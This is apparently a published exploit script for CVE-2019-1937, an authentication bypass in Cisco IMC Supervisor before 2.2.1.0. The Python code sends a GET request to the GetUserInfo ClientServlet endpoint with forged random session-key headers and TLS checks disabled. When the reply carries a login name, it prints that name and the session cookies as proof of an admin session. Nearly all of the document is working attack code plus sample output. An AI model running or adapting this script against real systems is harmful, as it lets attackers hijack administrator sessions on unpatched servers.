Cisco UCS-IMC Supervisor 2.2.0.0 Authentication Bypass

`[+] Exploit Title: Cisco UCS-IMC Supervisor 2.2.0.0 - Authentication Bypass  
[+] Cisco IMC Supervisor - < 2.2.1.0  
[+] Date: 08/21/2019  
[+] Affected Component: /app/ui/ClientServlet?apiName=GetUserInfo  
[+] Vendor: https://www.cisco.com/c/en/us/products/servers-unified-computing/integrated-management-controller-imc-supervisor/index.html  
[+] Vulnerability Discovery : Pedro Ribeiro  
[+] Exploit Author: Fatih Sencer  
[+] CVE: CVE-2019-1937  
----------------------------------------------------  
  
Usage:  
  
./python3 CiscoIMC-Bypass.py -u host  
  
[+] Target https://xxxxxx.com  
[+] Target OK  
[+] Exploit Succes  
[+] Login name : admin  
[+] Cookie : REACTED  
  
"""  
  
import argparse,requests,warnings,base64,json,random,string  
from requests.packages.urllib3.exceptions import InsecureRequestWarning  
  
warnings.simplefilter('ignore',InsecureRequestWarning)  
  
  
def init():  
parser = argparse.ArgumentParser(description='Cisco IMC Supervisor / Authentication Bypass')  
parser.add_argument('-u','--host',help='Host', type=str, required=True)  
args = parser.parse_args()  
exploit(args)  
  
def exploit(args):  
session = requests.Session()  
headers = {  
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_4)",  
"X-Requested-With": "XMLHttpRequest",  
"Referer": "https://{}/".format(args.host),  
"X-Starship-UserSession-Key": ''.join(random.choices(string.ascii_uppercase + string.digits, k=10)),  
"X-Starship-Request-Key": ''.join(random.choices(string.ascii_uppercase + string.digits, k=10))  
}  
target = "https://{}/app/ui/ClientServlet?apiName=GetUserInfo".format(args.host)  
print("[+] Target {}".format(args.host))  
  
exp_send = session.get(target, headers=headers, verify=False, timeout=10)  
  
if exp_send.status_code == 200:  
print("[+] Target OK")  
body_data = json.loads(exp_send.text)  
if not (body_data.get('loginName') is None):  
print("[+] Exploit Succes")  
print("[+] Login name : {}".format(body_data.get('loginName')))  
print("[+] Cookie : {}".format(session.cookies.get_dict()))  
else:  
print("[-] Exploit Failed")  
  
else:  
print("[-] N/A")  
exit()  
  
if __name__ == "__main__":  
init()  
  
  
`